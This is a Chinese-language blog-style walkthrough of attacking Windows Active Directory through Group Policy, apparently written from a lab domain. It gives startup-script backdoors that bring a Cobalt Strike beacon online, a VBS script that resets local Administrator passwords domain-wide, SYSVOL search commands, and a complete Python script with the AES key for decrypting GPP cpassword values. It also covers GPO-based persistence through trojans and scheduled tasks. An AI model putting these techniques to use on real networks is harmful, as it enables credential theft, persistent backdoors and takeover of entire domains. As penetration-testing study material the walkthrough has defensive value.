• 关于组策略


    组策略可以控制用户帐户和计算机帐户的工作环境。组策略提供了操作系统、应用程序和活动目录中用户设置的集中化管理和配置。可以设置一次组策略然后在多台计算机上使用。
    大多数组织机构为了安全,可能都会要求修改密码,标准的做法是利用组策略批量设置工作站的本地 Administrator 密码,这样带来的问题就是如果黑客拿到了一个系统的 Administrator 认证凭据,就能拿到所有机器的权限。
    其中一种解决方法就是使用 SYSVOL(活动目录中的全域共享文件夹),可以在所有域控中进行自动同步和共享,所有认证用户都可以读取,其中包括登录脚本,组策略数据和其他域控所需要的域数据。
    位置:\<domain>\SYSVOL\<domain>\Policies\</domain></domain>
    

    在 win2008 中发布了 GPP(组策略偏好),GPP 提供了一个自动化机制,利用显式凭据结合组策略部署了计划任务,一次性批量更改了电脑的本地管理的密码。
    当管理创建了一个新的 GPP 时,SYSVOL 里有一个 XML 文件存放了 AES-256 加密后的密码,但微软却在 2012 年发布了 AES 的私钥。。。
    因为所有域用户对 SYSVOL 都有读权限,在域里的任何用户可以搜索 SYSVOL 共享中的带有 cpassword 字样的 XML 文件,里面包含了 AES 加密的密码。
  • 利用本地组策略加载后门


    gpedit.msc->本地组策略编辑器->window设置(system)->脚本->启动
    可以在里面添加木马(复制到 C:\Windows\System32\GroupPolicy\Machine\Scripts\Startup)或者 ps1 脚本文件。
    image-20220222225234745
    重启后 cs 上线
    image-20220222225409784
  • 域组策略


    机器有域环境的话,系统管理工具会多出组策略管理功能,域管理员能够很方便统一地对域内的机器和用户进行统一管理。
    AD域中两个默认的共享文件夹:SYSVOL NETLOGON
    NETLOGON目录
    
    挂载点:SYSVOL\domain\SCRIPTS 主要存放的是一些脚本信息,是AD活动目录安装时候自动创建的,是在sysvol下面的一个子目录文件夹
    
    SYSVOL目录
    
    SYSVOL目录是AD域中的一个共享文件夹,该文件夹在AD活动目录安装时候被创建。通常用来存放组策略数据 和 一些脚本 配置文件,这些策略和脚本将用于传递给域成员机器。
    

    image-20220222225859277
  • 域组策略的利用


    直接执行脚本
    和本地组策略的利用类似,在组策略编辑器中添加一个启动脚本
    strComputer = "."
    Set objUser = GetObject("WinNT://" & strComputer & "/Administrator, user")
    objUser.SetPassword "123QWE!@#"
    objUser.SetInfo
    

    然后强制更新组策略
    gpupdate /force
    

    最后查找到被更新的组策略
    image-20220223001913183
    shell for /r \\dc/sysvol %i in (*.vbs) do @echo %i
    shell for /r \\dc/sysvol %i in (*.bat) do @echo %i
    

    GPP漏洞的利用
    直接执行脚本只能在 win server 2008 上没打补丁的版本存在,以后的版本无法写入密码,因为如果使用 GPP,输入的用户密码都会以 AES-256 的方式存在 SYSVOL 下对应的 xml 文件中,但在高版本 GPP 就不能输入密码,这个洞也就无了。
    现在的攻击手法就是获取 GPP 泄露的密码:
    在组策略管理中新建一个 OU 组:
    image-20220223003133708
    在这个 OU 中新建一个使用了 GPP 的本地用户密码的策略,并获取到该 GPO 的 ID
    image-20220223003402181
    方便演示添加一个新的用户
    image-20220223003840432
    然后根据这个 ID 到 SYSVOL 中搜索
    C:\Windows\SYSVOL\sysvol\god.org\Policies\{2559CA36-02A9-4C7A-AC1F-553AC2C1A567}\Machine\Preferences\Groups
    

    image-20220223003918367
    可以看到 gpptest 用户名对应的加密密码,这里用 python 脚本解密一下
    #!/usr/bin/python
    #
    # Gpprefdecrypt - Decrypt the password of local users added via Windows 2008 Group Policy Preferences.
    #
    # This tool decrypts the cpassword attribute value embedded in the Groups.xml file stored in the domain controller's Sysvol share.
    #
    
    import sys
    from Crypto.Cipher import AES
    from base64 import b64decode
    
    
    # Init the key
    # From MSDN: http://msdn.microsoft.com/en-us/library/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be%28v=PROT.13%29#endNote2
    key = """
    4e 99 06 e8  fc b6 6c c9  fa f4 93 10  62 0f fe e8
    f4 96 e8 06  cc 05 79 90  20 9b 09 a4  33 b6 6c 1b
    """.replace(" ","").replace("\n","").decode('hex')
    
    # Add padding to the base64 string and decode it
    cpassword = "AOXP8WcaNw/4jbOKeBQ/zubT3+T5UWA8P7EFVNEh2+E"
    cpassword += "=" * ((4 - len(cpassword) % 4) % 4)
    password = b64decode(cpassword)
    
    # Decrypt the password
    o = AES.new(key, AES.MODE_CBC, "\x00" * 16).decrypt(password)
    
    # Print it
    print o[:-ord(o[-1])].decode('utf16')
    

    image-20220223004406751
  • 敏感文件搜集


    1.命令行下搜索
    dir /s /a \\DC\SYSVOL\*.xml
    

    2.Get-GPPPassword.ps1
    运行后会自动遍历 SYSVOL 下的敏感文件并将密码解密。
    3.通过用户进行查找
    查看域内共享
    get-domaincomputer|get-netshare
    查看域用户信息
    Get-DomainUser -identity gpptest
    查看该用户的组信息
    Get-DomainOU
    

    发现 GPO 的 link 链接,直接去找对应的文件夹就可以了
    image-20220223005421014
  • 后门利用


    当拿下域控的时候可以用 GPP 指定控制 OU 下的所有用户
    1.直接写脚本
    直接把木马脚本放在域策略,或新建 GPO 在启动中放入木马,然后将该 GPO 连接到目标 OU 下就可以直接打。
    2.计划任务实现远程执行
    可定时收集信息且比较隐蔽,使用 New-GPOImmediateTask.ps1 完成。
  • 参考文献


标签: none

添加新评论